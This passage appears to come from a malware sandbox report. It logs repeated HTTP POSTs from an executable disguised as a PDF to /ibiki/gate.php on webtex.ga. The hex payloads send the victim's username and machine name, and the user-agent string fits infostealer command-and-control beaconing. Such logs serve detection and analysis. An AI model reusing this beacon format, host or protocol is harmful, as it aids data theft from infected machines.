Dec 3, 2020 10:03:25.200767994 CET	4165	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:25.245220900 CET	4165	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:42 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.3	49882	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:25.660223007 CET	4166	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:25.676928043 CET	4167	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:25.718343019 CET	4167	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:42 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.3	49883	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:26.190090895 CET	4168	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:26.206758022 CET	4168	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:26.256450891 CET	4168	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:43 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.3	49884	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:26.801023960 CET	4169	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:26.817636013 CET	4169	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:26.861567974 CET	4170	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:44 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.3	49885	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:27.069096088 CET	4170	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:27.086309910 CET	4171	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:27.127991915 CET	4171	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:44 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.3	49886	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:27.591078997 CET	4172	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:27.607764006 CET	4172	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:27.649519920 CET	4172	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:44 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.3	49887	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:28.103034019 CET	4659	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:28.119638920 CET	4660	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:28.169105053 CET	4660	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:45 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.3	49888	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:28.370666981 CET	4661	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:28.387365103 CET	4661	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:28.577908039 CET	4661	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:45 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49724	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:34.377229929 CET	85	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:34.393970013 CET	85	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:34.437256098 CET	85	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:51 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.3	49889	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:28.995903015 CET	4662	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:29.012512922 CET	4662	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:29.054012060 CET	4663	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:46 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.3	49890	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:29.261435986 CET	4663	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:29.277981043 CET	4664	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:29.322722912 CET	4664	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:46 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.3	49891	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:29.906199932 CET	4665	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:29.922723055 CET	4665	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:29.963618040 CET	4665	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:47 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.3	49892	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:30.476260900 CET	4666	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:30.492850065 CET	4667	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:30.536401033 CET	4667	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:47 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.3	49893	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:30.994100094 CET	4668	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:31.011329889 CET	4668	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:31.054594994 CET	4668	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:48 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.3	49894	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:31.259182930 CET	4669	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:31.286514044 CET	4669	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:31.328924894 CET	4670	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:48 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.3	49895	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:31.751250982 CET	4670	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:31.767699957 CET	4671	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:31.807704926 CET	4671	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:49 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.3	49896	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:32.014316082 CET	4672	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:32.030854940 CET	4672	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:32.077872992 CET	4672	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:49 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.3	49897	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:32.604345083 CET	4673	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:32.620944977 CET	4673	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:32.665529966 CET	4674	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:49 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.3	49898	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:32.863168001 CET	4675	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:32.880027056 CET	4675	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:32.924294949 CET	4675	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:50 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49725	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:34.827049971 CET	86	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:34.843691111 CET	86	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:34.971106052 CET	87	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:52 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.3	49899	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:33.437469006 CET	4676	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:33.454191923 CET	4676	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:33.495291948 CET	4677	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:50 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.3	49900	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:33.936414957 CET	4677	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
